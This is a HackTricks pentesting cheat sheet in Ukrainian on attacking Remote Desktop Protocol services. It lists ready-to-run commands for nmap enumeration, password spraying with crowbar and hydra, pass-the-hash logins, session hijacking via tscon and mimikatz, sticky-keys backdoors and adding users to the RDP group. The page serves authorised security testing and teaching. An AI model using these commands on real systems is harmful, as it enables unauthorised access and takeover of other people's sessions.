3389 - Pentesting RDP
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Розроблений компанією Microsoft, Remote Desktop Protocol (RDP) призначений для забезпечення графічного інтерфейсу з'єднання між комп'ютерами через мережу. Для встановлення такого з'єднання користувач використовує програмне забезпечення клієнта RDP, а одночасно віддалений комп'ютер повинен працювати з програмним забезпеченням сервера RDP. Ця конфігурація дозволяє безперешкодно контролювати та отримувати доступ до робочого середовища віддаленого комп'ютера, фактично перенісши його інтерфейс на локальний пристрій користувача.
Порт за замовчуванням: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Перерахування
Автоматичний
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Він перевіряє доступне шифрування та вразливість до DoS (без викликання DoS для служби) і отримує інформацію про NTLM Windows (версії).
Brute force
Будьте обережні, ви можете заблокувати облікові записи
Password Spraying
Будьте обережні, ви можете заблокувати облікові записи
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Підключення з відомими обліковими даними/хешем
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Перевірка відомих облікових даних на сервісах RDP
rdp_check.py з impacket дозволяє перевірити, чи є деякі облікові дані дійсними для сервісу RDP:
rdp_check <domain>/<name>:<password>@<IP>
Атаки
Вкрадення сесій
З права SYSTEM ви можете отримати доступ до будь-якої відкритої RDP-сесії будь-якого користувача без необхідності знати пароль власника.
Отримати відкриті сесії:
query user
Доступ до вибраної сесії
tscon <ID> /dest:<SESSIONNAME>
Тепер ви будете всередині вибраної сесії RDP і зможете видавати себе за користувача, використовуючи лише інструменти та функції Windows.
Важливо: Коли ви отримуєте доступ до активних сесій RDP, ви виведете користувача, який її використовував.
Ви можете отримати паролі з процесу, вивантажуючи його, але цей метод набагато швидший і дозволяє вам взаємодіяти з віртуальними робочими столами користувача (паролі в блокноті без збереження на диску, інші сесії RDP, відкриті на інших машинах...)
Mimikatz
Ви також можете використовувати mimikatz для цього:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Поєднуючи цю техніку з stickykeys або utilman, ви зможете отримати доступ до адміністративного CMD та будь-якої RDP-сесії в будь-який час.
Ви можете шукати RDP, які вже були зламані за допомогою однієї з цих технік, за адресою: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Якщо хтось з іншого домену або з кращими привілеями входить через RDP на ПК, де ви є адміністратором, ви можете впровадити свій маяк у його процес RDP-сесії і діяти як він:
Adding User to RDP group
net localgroup "Remote Desktop Users" UserLoginName /add
Автоматичні інструменти
AutoRDPwn - це фреймворк після експлуатації, створений на Powershell, призначений в основному для автоматизації атаки Shadow на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику переглядати робочий стіл жертви без її згоди і навіть контролювати його на вимогу, використовуючи інструменти, рідні для самої операційної системи.
-
Контролювати мишу та клавіатуру автоматизованим способом з командного рядка
-
Контролювати буфер обміну автоматизованим способом з командного рядка
-
Створити SOCKS-проксі з клієнта, який каналує мережеву комунікацію до цілі через RDP
-
Виконувати довільні команди SHELL та PowerShell на цілі без завантаження файлів
-
Завантажувати та скачувати файли до/з цілі, навіть коли передача файлів на цілі вимкнена
Цей інструмент дозволяє виконувати команди на RDP жертви без необхідності графічного інтерфейсу.
HackTricks Автоматичні команди
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.